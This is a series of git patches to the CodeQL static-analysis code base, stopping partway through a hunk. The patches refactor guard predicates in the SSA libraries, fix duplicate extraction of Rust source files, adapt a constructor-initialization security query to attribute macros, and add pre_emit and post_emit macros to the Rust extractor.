Cfg::CfgNodes::AstCfgNode { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(Cfg::SuccessorTypes::ConditionalSuccessor s | this.getBasicBlock() = bb1 and bb2 = bb1.getASuccessor(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index f2500f32ca80..42b1d09f8f9a 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -363,17 +363,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends CfgNodes::AstCfgNode { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(Cfg::ConditionalSuccessor s | this = bb1.getANode() and bb2 = bb1.getASuccessor(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/shared/dataflow/codeql/dataflow/VariableCapture.qll b/shared/dataflow/codeql/dataflow/VariableCapture.qll index c76e1320a37e..c2c84b7f0f87 100644 --- a/shared/dataflow/codeql/dataflow/VariableCapture.qll +++ b/shared/dataflow/codeql/dataflow/VariableCapture.qll @@ -732,6 +732,8 @@ module Flow Input> implements OutputSig } class Guard extends Void { + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { none() } + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { none() } } diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index a0a8a1c864de..a5f9e3f862b8 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1570,9 +1570,15 @@ module Make Input> { string toString(); /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. + */ + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. */ predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); } @@ -1667,7 +1673,7 @@ module Make Input> { ( // The input node is relevant either if it sits directly on a branch // edge for a guard, - exists(DfInput::Guard g | g.controlsBranchEdge(input, phi.getBasicBlock(), _)) + exists(DfInput::Guard g | g.hasBranchEdge(input, phi.getBasicBlock(), _)) or // or if the unique predecessor is not an equivalent substitute in // terms of being controlled by the same guards. From b62d52ede0eda06d431735aba703842f36e72d18 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 23 May 2025 10:35:12 +0200 Subject: [PATCH 348/535] Rust: prevent source files from being extracted in both source and library mode When analysing a repository with multiple separate but related sub-projects there is a risk that some source file are extracted in library mode as well as source mode. To prevent this we pre-fill 'processed_files' set with all source files, even though they have not be processed yet, but are known to be processed later.. This prevents source file to be --- rust/extractor/src/main.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 1b681d448d25..99f470aa13e4 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -14,6 +14,7 @@ use ra_ap_project_model::{CargoConfig, ProjectManifest}; use ra_ap_vfs::Vfs; use rust_analyzer::{ParseResult, RustAnalyzer}; use std::collections::HashSet; +use std::hash::RandomState; use std::time::Instant; use std::{ collections::HashMap, @@ -276,7 +277,8 @@ fn main() -> anyhow::Result<()> { } else { ResolvePaths::Yes }; - let mut processed_files = HashSet::new(); + let mut processed_files: HashSet = + HashSet::from_iter(files.iter().cloned()); for (manifest, files) in map.values().filter(|(_, files)| !files.is_empty()) { if let Some((ref db, ref vfs)) = extractor.load_manifest(manifest, &cargo_config, &load_cargo_config) @@ -288,7 +290,6 @@ fn main() -> anyhow::Result<()> { .push(ExtractionStep::crate_graph(before_crate_graph)); let semantics = Semantics::new(db); for file in files { - processed_files.insert((*file).to_owned()); match extractor.load_source(file, &semantics, vfs) { Ok(()) => extractor.extract_with_semantics( file, From 23b4e5042fa9e83af967c69767ddeabe27f8e4a8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 23 May 2025 11:18:23 +0200 Subject: [PATCH 349/535] Rust: update expected output --- .../sources/CONSISTENCY/PathResolutionConsistency.expected | 3 --- 1 file changed, 3 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index 55de4510344c..0aa771632529 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,6 +1,3 @@ -multipleMethodCallTargets -| web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | -| web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | multipleCanonicalPaths | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | From 32cece3a43a72447a4c927eded79ba4875c10fdf Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 16 May 2025 16:14:51 +0200 Subject: [PATCH 350/535] Rust: adapt `BadCtorInitialization.ql` to attribute macro expansion --- .../security/CWE-696/BadCtorInitialization.ql | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql index 80364a9de06a..75946d89e11b 100644 --- a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql +++ b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql @@ -44,9 +44,18 @@ class PathElement = AstNode; * reachable from a source. */ predicate edgesFwd(PathElement pred, PathElement succ) { - // attribute (source) -> callable - pred.(CtorAttr) = succ.(Callable).getAnAttr() + // attribute (source) -> function in macro expansion + exists(Function f | + pred.(CtorAttr) = f.getAnAttr() and + ( + f.getAttributeMacroExpansion().getAnItem() = succ.(Callable) + or + // if for some reason the ctor/dtor macro expansion failed, fall back to looking into the unexpanded item + not f.hasAttributeMacroExpansion() and f = succ.(Callable) + ) + ) or + // callable -> callable attribute macro expansion // [forwards reachable] callable -> enclosed call edgesFwd(_, pred) and pred = succ.(CallExprBase).getEnclosingCallable() From abf21ba767e2a23c7ddeda6df33c36549f307da1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 16 May 2025 16:15:03 +0200 Subject: [PATCH 351/535] Rust: skip macro expansion in unexpanded attribute macro AST --- .../templates/extractor.mustache | 8 +- rust/extractor/src/translate/base.rs | 51 +- rust/extractor/src/translate/generated.rs | 503 ++++++++++++------ 3 files changed, 383 insertions(+), 179 deletions(-) diff --git a/rust/ast-generator/templates/extractor.mustache b/rust/ast-generator/templates/extractor.mustache index c4f8dbd983df..d0c11bb78e08 100644 --- a/rust/ast-generator/templates/extractor.mustache +++ b/rust/ast-generator/templates/extractor.mustache @@ -2,7 +2,7 @@ use super::base::Translator; use super::mappings::TextValue; -use crate::emit_detached; +use crate::{pre_emit,post_emit}; use crate::generated; use crate::trap::{Label, TrapId}; use ra_ap_syntax::ast::{ @@ -22,18 +22,20 @@ impl Translator<'_> { {{#enums}} pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { + pre_emit!({{name}}, self, node); let label = match node { {{#variants}} ast::{{ast_name}}::{{variant_ast_name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into), {{/variants}} }?; - emit_detached!({{name}}, self, node, label); + post_emit!({{name}}, self, node, label); Some(label) } {{/enums}} {{#nodes}} pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { + pre_emit!({{name}}, self, node); {{#has_attrs}} if self.should_be_excluded(node) { return None; } {{/has_attrs}} @@ -58,7 +60,7 @@ impl Translator<'_> { {{/fields}} }); self.emit_location(label, node); - emit_detached!({{name}}, self, node, label); + post_emit!({{name}}, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index d0e99e8a5b45..d1cec34242c9 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -11,7 +11,7 @@ use ra_ap_hir::{ }; use ra_ap_hir_def::ModuleId; use ra_ap_hir_def::type_ref::Mutability; -use ra_ap_hir_expand::{ExpandResult, ExpandTo}; +use ra_ap_hir_expand::{ExpandResult, ExpandTo, InFile}; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; @@ -23,7 +23,15 @@ use ra_ap_syntax::{ }; #[macro_export] -macro_rules! emit_detached { +macro_rules! pre_emit { + (Item, $self:ident, $node:ident) => { + $self.setup_item_expansion($node); + }; + ($($_:tt)*) => {}; +} + +#[macro_export] +macro_rules! post_emit { (MacroCall, $self:ident, $node:ident, $label:ident) => { $self.extract_macro_call_expanded($node, $label); }; @@ -101,7 +109,8 @@ pub struct Translator<'a> { line_index: LineIndex, file_id: Option, pub semantics: Option<&'a Semantics<'a, RootDatabase>>, - resolve_paths: ResolvePaths, + resolve_paths: bool, + macro_context_depth: usize, } const UNKNOWN_LOCATION: (LineCol, LineCol) = @@ -123,7 +132,8 @@ impl<'a> Translator<'a> { line_index, file_id: semantic_info.map(|i| i.file_id), semantics: semantic_info.map(|i| i.semantics), - resolve_paths, + resolve_paths: resolve_paths == ResolvePaths::Yes, + macro_context_depth: 0, } } fn location(&self, range: TextRange) -> Option<(LineCol, LineCol)> { @@ -321,6 +331,11 @@ impl<'a> Translator<'a> { mcall: &ast::MacroCall, label: Label, ) { + if self.macro_context_depth > 0 { + // we are in an attribute macro, don't emit anything: we would be failing to expand any + // way as rust-analyser now only expands in the context of an expansion + return; + } if let Some(expanded) = self .semantics .as_ref() @@ -521,7 +536,7 @@ impl<'a> Translator<'a> { item: &T, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -544,7 +559,7 @@ impl<'a> Translator<'a> { item: &ast::Variant, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -567,7 +582,7 @@ impl<'a> Translator<'a> { item: &impl PathAst, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -590,7 +605,7 @@ impl<'a> Translator<'a> { item: &ast::MethodCallExpr, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -653,9 +668,29 @@ impl<'a> Translator<'a> { } } + pub(crate) fn setup_item_expansion(&mut self, node: &ast::Item) { + if self.semantics.is_some_and(|s| { + let file = s.hir_file_for(node.syntax()); + let node = InFile::new(file, node); + s.is_attr_macro_call(node) + }) { + self.macro_context_depth += 1; + } + } + pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { (|| { let semantics = self.semantics?; + let file = semantics.hir_file_for(node.syntax()); + let infile_node = InFile::new(file, node); + if !semantics.is_attr_macro_call(infile_node) { + return None; + } + self.macro_context_depth -= 1; + if self.macro_context_depth > 0 { + // only expand the outermost attribute macro + return None; + } let ExpandResult { value: expanded, .. } = semantics.expand_attr_macro(node)?; diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 5002f09c4d86..fe8da75770c8 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -1,9 +1,9 @@ //! Generated by `ast-generator`, do not edit by hand. use super::base::Translator; use super::mappings::TextValue; -use crate::emit_detached; use crate::generated; use crate::trap::{Label, TrapId}; +use crate::{post_emit, pre_emit}; use ra_ap_syntax::ast::{ HasArgList, HasAttrs, HasGenericArgs, HasGenericParams, HasLoopBody, HasModuleItem, HasName, HasTypeBounds, HasVisibility, RangeItem, @@ -21,6 +21,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmOperand, ) -> Option> { + pre_emit!(AsmOperand, self, node); let label = match node { ast::AsmOperand::AsmConst(inner) => self.emit_asm_const(inner).map(Into::into), ast::AsmOperand::AsmLabel(inner) => self.emit_asm_label(inner).map(Into::into), @@ -29,13 +30,14 @@ impl Translator<'_> { } ast::AsmOperand::AsmSym(inner) => self.emit_asm_sym(inner).map(Into::into), }?; - emit_detached!(AsmOperand, self, node, label); + post_emit!(AsmOperand, self, node, label); Some(label) } pub(crate) fn emit_asm_piece( &mut self, node: &ast::AsmPiece, ) -> Option> { + pre_emit!(AsmPiece, self, node); let label = match node { ast::AsmPiece::AsmClobberAbi(inner) => self.emit_asm_clobber_abi(inner).map(Into::into), ast::AsmPiece::AsmOperandNamed(inner) => { @@ -43,23 +45,25 @@ impl Translator<'_> { } ast::AsmPiece::AsmOptions(inner) => self.emit_asm_options(inner).map(Into::into), }?; - emit_detached!(AsmPiece, self, node, label); + post_emit!(AsmPiece, self, node, label); Some(label) } pub(crate) fn emit_assoc_item( &mut self, node: &ast::AssocItem, ) -> Option> { + pre_emit!(AssocItem, self, node); let label = match node { ast::AssocItem::Const(inner) => self.emit_const(inner).map(Into::into), ast::AssocItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::AssocItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::AssocItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), }?; - emit_detached!(AssocItem, self, node, label); + post_emit!(AssocItem, self, node, label); Some(label) } pub(crate) fn emit_expr(&mut self, node: &ast::Expr) -> Option> { + pre_emit!(Expr, self, node); let label = match node { ast::Expr::ArrayExpr(inner) => self.emit_array_expr(inner).map(Into::into), ast::Expr::AsmExpr(inner) => self.emit_asm_expr(inner).map(Into::into), @@ -98,26 +102,28 @@ impl Translator<'_> { ast::Expr::YeetExpr(inner) => self.emit_yeet_expr(inner).map(Into::into), ast::Expr::YieldExpr(inner) => self.emit_yield_expr(inner).map(Into::into), }?; - emit_detached!(Expr, self, node, label); + post_emit!(Expr, self, node, label); Some(label) } pub(crate) fn emit_extern_item( &mut self, node: &ast::ExternItem, ) -> Option> { + pre_emit!(ExternItem, self, node); let label = match node { ast::ExternItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::ExternItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::ExternItem::Static(inner) => self.emit_static(inner).map(Into::into), ast::ExternItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), }?; - emit_detached!(ExternItem, self, node, label); + post_emit!(ExternItem, self, node, label); Some(label) } pub(crate) fn emit_field_list( &mut self, node: &ast::FieldList, ) -> Option> { + pre_emit!(FieldList, self, node); let label = match node { ast::FieldList::RecordFieldList(inner) => { self.emit_record_field_list(inner).map(Into::into) @@ -126,26 +132,28 @@ impl Translator<'_> { self.emit_tuple_field_list(inner).map(Into::into) } }?; - emit_detached!(FieldList, self, node, label); + post_emit!(FieldList, self, node, label); Some(label) } pub(crate) fn emit_generic_arg( &mut self, node: &ast::GenericArg, ) -> Option> { + pre_emit!(GenericArg, self, node); let label = match node { ast::GenericArg::AssocTypeArg(inner) => self.emit_assoc_type_arg(inner).map(Into::into), ast::GenericArg::ConstArg(inner) => self.emit_const_arg(inner).map(Into::into), ast::GenericArg::LifetimeArg(inner) => self.emit_lifetime_arg(inner).map(Into::into), ast::GenericArg::TypeArg(inner) => self.emit_type_arg(inner).map(Into::into), }?; - emit_detached!(GenericArg, self, node, label); + post_emit!(GenericArg, self, node, label); Some(label) } pub(crate) fn emit_generic_param( &mut self, node: &ast::GenericParam, ) -> Option> { + pre_emit!(GenericParam, self, node); let label = match node { ast::GenericParam::ConstParam(inner) => self.emit_const_param(inner).map(Into::into), ast::GenericParam::LifetimeParam(inner) => { @@ -153,10 +161,11 @@ impl Translator<'_> { } ast::GenericParam::TypeParam(inner) => self.emit_type_param(inner).map(Into::into), }?; - emit_detached!(GenericParam, self, node, label); + post_emit!(GenericParam, self, node, label); Some(label) } pub(crate) fn emit_pat(&mut self, node: &ast::Pat) -> Option> { + pre_emit!(Pat, self, node); let label = match node { ast::Pat::BoxPat(inner) => self.emit_box_pat(inner).map(Into::into), ast::Pat::ConstBlockPat(inner) => self.emit_const_block_pat(inner).map(Into::into), @@ -175,19 +184,21 @@ impl Translator<'_> { ast::Pat::TupleStructPat(inner) => self.emit_tuple_struct_pat(inner).map(Into::into), ast::Pat::WildcardPat(inner) => self.emit_wildcard_pat(inner).map(Into::into), }?; - emit_detached!(Pat, self, node, label); + post_emit!(Pat, self, node, label); Some(label) } pub(crate) fn emit_stmt(&mut self, node: &ast::Stmt) -> Option> { + pre_emit!(Stmt, self, node); let label = match node { ast::Stmt::ExprStmt(inner) => self.emit_expr_stmt(inner).map(Into::into), ast::Stmt::Item(inner) => self.emit_item(inner).map(Into::into), ast::Stmt::LetStmt(inner) => self.emit_let_stmt(inner).map(Into::into), }?; - emit_detached!(Stmt, self, node, label); + post_emit!(Stmt, self, node, label); Some(label) } pub(crate) fn emit_type(&mut self, node: &ast::Type) -> Option> { + pre_emit!(TypeRepr, self, node); let label = match node { ast::Type::ArrayType(inner) => self.emit_array_type(inner).map(Into::into), ast::Type::DynTraitType(inner) => self.emit_dyn_trait_type(inner).map(Into::into), @@ -204,21 +215,23 @@ impl Translator<'_> { ast::Type::SliceType(inner) => self.emit_slice_type(inner).map(Into::into), ast::Type::TupleType(inner) => self.emit_tuple_type(inner).map(Into::into), }?; - emit_detached!(TypeRepr, self, node, label); + post_emit!(TypeRepr, self, node, label); Some(label) } pub(crate) fn emit_use_bound_generic_arg( &mut self, node: &ast::UseBoundGenericArg, ) -> Option> { + pre_emit!(UseBoundGenericArg, self, node); let label = match node { ast::UseBoundGenericArg::Lifetime(inner) => self.emit_lifetime(inner).map(Into::into), ast::UseBoundGenericArg::NameRef(inner) => self.emit_name_ref(inner).map(Into::into), }?; - emit_detached!(UseBoundGenericArg, self, node, label); + post_emit!(UseBoundGenericArg, self, node, label); Some(label) } pub(crate) fn emit_item(&mut self, node: &ast::Item) -> Option> { + pre_emit!(Item, self, node); let label = match node { ast::Item::Const(inner) => self.emit_const(inner).map(Into::into), ast::Item::Enum(inner) => self.emit_enum(inner).map(Into::into), @@ -238,17 +251,18 @@ impl Translator<'_> { ast::Item::Union(inner) => self.emit_union(inner).map(Into::into), ast::Item::Use(inner) => self.emit_use(inner).map(Into::into), }?; - emit_detached!(Item, self, node, label); + post_emit!(Item, self, node, label); Some(label) } pub(crate) fn emit_abi(&mut self, node: &ast::Abi) -> Option> { + pre_emit!(Abi, self, node); let abi_string = node.try_get_text(); let label = self.trap.emit(generated::Abi { id: TrapId::Star, abi_string, }); self.emit_location(label, node); - emit_detached!(Abi, self, node, label); + post_emit!(Abi, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -256,13 +270,14 @@ impl Translator<'_> { &mut self, node: &ast::ArgList, ) -> Option> { + pre_emit!(ArgList, self, node); let args = node.args().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::ArgList { id: TrapId::Star, args, }); self.emit_location(label, node); - emit_detached!(ArgList, self, node, label); + post_emit!(ArgList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -270,6 +285,7 @@ impl Translator<'_> { &mut self, node: &ast::ArrayExpr, ) -> Option> { + pre_emit!(ArrayExprInternal, self, node); if self.should_be_excluded(node) { return None; } @@ -283,7 +299,7 @@ impl Translator<'_> { is_semicolon, }); self.emit_location(label, node); - emit_detached!(ArrayExprInternal, self, node, label); + post_emit!(ArrayExprInternal, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -291,6 +307,7 @@ impl Translator<'_> { &mut self, node: &ast::ArrayType, ) -> Option> { + pre_emit!(ArrayTypeRepr, self, node); let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); let element_type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ArrayTypeRepr { @@ -299,7 +316,7 @@ impl Translator<'_> { element_type_repr, }); self.emit_location(label, node); - emit_detached!(ArrayTypeRepr, self, node, label); + post_emit!(ArrayTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -307,11 +324,12 @@ impl Translator<'_> { &mut self, node: &ast::AsmClobberAbi, ) -> Option> { + pre_emit!(AsmClobberAbi, self, node); let label = self .trap .emit(generated::AsmClobberAbi { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(AsmClobberAbi, self, node, label); + post_emit!(AsmClobberAbi, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -319,6 +337,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmConst, ) -> Option> { + pre_emit!(AsmConst, self, node); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::AsmConst { @@ -327,7 +346,7 @@ impl Translator<'_> { is_const, }); self.emit_location(label, node); - emit_detached!(AsmConst, self, node, label); + post_emit!(AsmConst, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -335,9 +354,10 @@ impl Translator<'_> { &mut self, node: &ast::AsmDirSpec, ) -> Option> { + pre_emit!(AsmDirSpec, self, node); let label = self.trap.emit(generated::AsmDirSpec { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(AsmDirSpec, self, node, label); + post_emit!(AsmDirSpec, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -345,6 +365,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmExpr, ) -> Option> { + pre_emit!(AsmExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -361,7 +382,7 @@ impl Translator<'_> { template, }); self.emit_location(label, node); - emit_detached!(AsmExpr, self, node, label); + post_emit!(AsmExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -369,13 +390,14 @@ impl Translator<'_> { &mut self, node: &ast::AsmLabel, ) -> Option> { + pre_emit!(AsmLabel, self, node); let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::AsmLabel { id: TrapId::Star, block_expr, }); self.emit_location(label, node); - emit_detached!(AsmLabel, self, node, label); + post_emit!(AsmLabel, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -383,6 +405,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmOperandExpr, ) -> Option> { + pre_emit!(AsmOperandExpr, self, node); let in_expr = node.in_expr().and_then(|x| self.emit_expr(&x)); let out_expr = node.out_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AsmOperandExpr { @@ -391,7 +414,7 @@ impl Translator<'_> { out_expr, }); self.emit_location(label, node); - emit_detached!(AsmOperandExpr, self, node, label); + post_emit!(AsmOperandExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -399,6 +422,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmOperandNamed, ) -> Option> { + pre_emit!(AsmOperandNamed, self, node); let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::AsmOperandNamed { @@ -407,7 +431,7 @@ impl Translator<'_> { name, }); self.emit_location(label, node); - emit_detached!(AsmOperandNamed, self, node, label); + post_emit!(AsmOperandNamed, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -415,13 +439,14 @@ impl Translator<'_> { &mut self, node: &ast::AsmOption, ) -> Option> { + pre_emit!(AsmOption, self, node); let is_raw = node.raw_token().is_some(); let label = self.trap.emit(generated::AsmOption { id: TrapId::Star, is_raw, }); self.emit_location(label, node); - emit_detached!(AsmOption, self, node, label); + post_emit!(AsmOption, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -429,6 +454,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmOptions, ) -> Option> { + pre_emit!(AsmOptionsList, self, node); let asm_options = node .asm_options() .filter_map(|x| self.emit_asm_option(&x)) @@ -438,7 +464,7 @@ impl Translator<'_> { asm_options, }); self.emit_location(label, node); - emit_detached!(AsmOptionsList, self, node, label); + post_emit!(AsmOptionsList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -446,6 +472,7 @@ impl Translator<'_> { &mut self, node: &ast::AsmRegOperand, ) -> Option> { + pre_emit!(AsmRegOperand, self, node); let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(&x)); let asm_operand_expr = node .asm_operand_expr() @@ -458,7 +485,7 @@ impl Translator<'_> { asm_reg_spec, }); self.emit_location(label, node); - emit_detached!(AsmRegOperand, self, node, label); + post_emit!(AsmRegOperand, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -466,24 +493,26 @@ impl Translator<'_> { &mut self, node: &ast::AsmRegSpec, ) -> Option> { + pre_emit!(AsmRegSpec, self, node); let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::AsmRegSpec { id: TrapId::Star, identifier, }); self.emit_location(label, node); - emit_detached!(AsmRegSpec, self, node, label); + post_emit!(AsmRegSpec, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_asm_sym(&mut self, node: &ast::AsmSym) -> Option> { + pre_emit!(AsmSym, self, node); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::AsmSym { id: TrapId::Star, path, }); self.emit_location(label, node); - emit_detached!(AsmSym, self, node, label); + post_emit!(AsmSym, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -491,6 +520,7 @@ impl Translator<'_> { &mut self, node: &ast::AssocItemList, ) -> Option> { + pre_emit!(AssocItemList, self, node); if self.should_be_excluded(node) { return None; } @@ -505,7 +535,7 @@ impl Translator<'_> { attrs, }); self.emit_location(label, node); - emit_detached!(AssocItemList, self, node, label); + post_emit!(AssocItemList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -513,6 +543,7 @@ impl Translator<'_> { &mut self, node: &ast::AssocTypeArg, ) -> Option> { + pre_emit!(AssocTypeArg, self, node); let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); let generic_arg_list = node .generic_arg_list() @@ -539,18 +570,19 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(AssocTypeArg, self, node, label); + post_emit!(AssocTypeArg, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_attr(&mut self, node: &ast::Attr) -> Option> { + pre_emit!(Attr, self, node); let meta = node.meta().and_then(|x| self.emit_meta(&x)); let label = self.trap.emit(generated::Attr { id: TrapId::Star, meta, }); self.emit_location(label, node); - emit_detached!(Attr, self, node, label); + post_emit!(Attr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -558,6 +590,7 @@ impl Translator<'_> { &mut self, node: &ast::AwaitExpr, ) -> Option> { + pre_emit!(AwaitExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -569,7 +602,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(AwaitExpr, self, node, label); + post_emit!(AwaitExpr, self, node, label); 